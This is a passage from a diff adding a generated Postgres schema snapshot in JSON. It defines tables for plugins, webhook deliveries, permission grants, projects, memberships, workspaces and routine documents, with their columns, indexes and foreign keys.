+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_migrations_plugin_id_plugins_id_fk": {
+          "name": "plugin_migrations_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_migrations",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_state": {
+      "name": "plugin_state",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "namespace": {
+          "name": "namespace",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "state_key": {
+          "name": "state_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_json": {
+          "name": "value_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_state_plugin_scope_idx": {
+          "name": "plugin_state_plugin_scope_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_state_plugin_id_plugins_id_fk": {
+          "name": "plugin_state_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_state",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_state_unique_entry_idx": {
+          "name": "plugin_state_unique_entry_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "plugin_id",
+            "scope_kind",
+            "scope_id",
+            "namespace",
+            "state_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_webhook_deliveries": {
+      "name": "plugin_webhook_deliveries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "webhook_key": {
+          "name": "webhook_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "headers": {
+          "name": "headers",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_webhook_deliveries_plugin_idx": {
+          "name": "plugin_webhook_deliveries_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_company_idx": {
+          "name": "plugin_webhook_deliveries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_status_idx": {
+          "name": "plugin_webhook_deliveries_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_key_idx": {
+          "name": "plugin_webhook_deliveries_key_idx",
+          "columns": [
+            {
+              "expression": "webhook_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_webhook_deliveries_plugin_id_plugins_id_fk": {
+          "name": "plugin_webhook_deliveries_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_webhook_deliveries_company_id_companies_id_fk": {
+          "name": "plugin_webhook_deliveries_company_id_companies_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugins": {
+      "name": "plugins",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "package_name": {
+          "name": "package_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "api_version": {
+          "name": "api_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "categories": {
+          "name": "categories",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "manifest_json": {
+          "name": "manifest_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'installed'"
+        },
+        "install_order": {
+          "name": "install_order",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "package_path": {
+          "name": "package_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "installed_at": {
+          "name": "installed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugins_plugin_key_idx": {
+          "name": "plugins_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugins_status_idx": {
+          "name": "plugins_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.principal_permission_grants": {
+      "name": "principal_permission_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "permission_key": {
+          "name": "permission_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "granted_by_user_id": {
+          "name": "granted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "principal_permission_grants_unique_idx": {
+          "name": "principal_permission_grants_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "principal_permission_grants_company_permission_idx": {
+          "name": "principal_permission_grants_company_permission_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "principal_permission_grants_company_id_companies_id_fk": {
+          "name": "principal_permission_grants_company_id_companies_id_fk",
+          "tableFrom": "principal_permission_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_goals": {
+      "name": "project_goals",
+      "schema": "",
+      "columns": {
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_goals_project_idx": {
+          "name": "project_goals_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_goal_idx": {
+          "name": "project_goals_goal_idx",
+          "columns": [
+            {
+              "expression": "goal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_company_idx": {
+          "name": "project_goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_goals_project_id_projects_id_fk": {
+          "name": "project_goals_project_id_projects_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_goal_id_goals_id_fk": {
+          "name": "project_goals_goal_id_goals_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_company_id_companies_id_fk": {
+          "name": "project_goals_company_id_companies_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "project_goals_project_id_goal_id_pk": {
+          "name": "project_goals_project_id_goal_id_pk",
+          "columns": [
+            "project_id",
+            "goal_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_memberships": {
+      "name": "project_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_memberships_company_user_idx": {
+          "name": "project_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_starred_idx": {
+          "name": "project_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_project_idx": {
+          "name": "project_memberships_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_project_uq": {
+          "name": "project_memberships_company_user_project_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_memberships_company_id_companies_id_fk": {
+          "name": "project_memberships_company_id_companies_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_memberships_project_id_projects_id_fk": {
+          "name": "project_memberships_project_id_projects_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_workspaces": {
+      "name": "project_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_ref": {
+          "name": "repo_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "default_ref": {
+          "name": "default_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "visibility": {
+          "name": "visibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "setup_command": {
+          "name": "setup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_command": {
+          "name": "cleanup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_provider": {
+          "name": "remote_provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_workspace_ref": {
+          "name": "remote_workspace_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_workspace_key": {
+          "name": "shared_workspace_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_workspaces_company_project_idx": {
+          "name": "project_workspaces_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_primary_idx": {
+          "name": "project_workspaces_project_primary_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_primary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_source_type_idx": {
+          "name": "project_workspaces_project_source_type_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_company_shared_key_idx": {
+          "name": "project_workspaces_company_shared_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "shared_workspace_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_remote_ref_idx": {
+          "name": "project_workspaces_project_remote_ref_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_workspace_ref",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_workspaces_company_id_companies_id_fk": {
+          "name": "project_workspaces_company_id_companies_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "project_workspaces_project_id_projects_id_fk": {
+          "name": "project_workspaces_project_id_projects_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.projects": {
+      "name": "projects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "lead_agent_id": {
+          "name": "lead_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_date": {
+          "name": "target_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_policy": {
+          "name": "execution_workspace_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "projects_company_idx": {
+          "name": "projects_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "projects_company_id_companies_id_fk": {
+          "name": "projects_company_id_companies_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_goal_id_goals_id_fk": {
+          "name": "projects_goal_id_goals_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_lead_agent_id_agents_id_fk": {
+          "name": "projects_lead_agent_id_agents_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lead_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_documents": {
+      "name": "routine_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_documents_company_routine_key_uq": {
+          "name": "routine_documents_company_routine_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_document_uq": {
+          "name": "routine_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_company_routine_updated_idx": {
+          "name": "routine_documents_company_routine_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_documents_company_id_companies_id_fk": {
+          "name": "routine_documents_company_id_companies_id_fk",
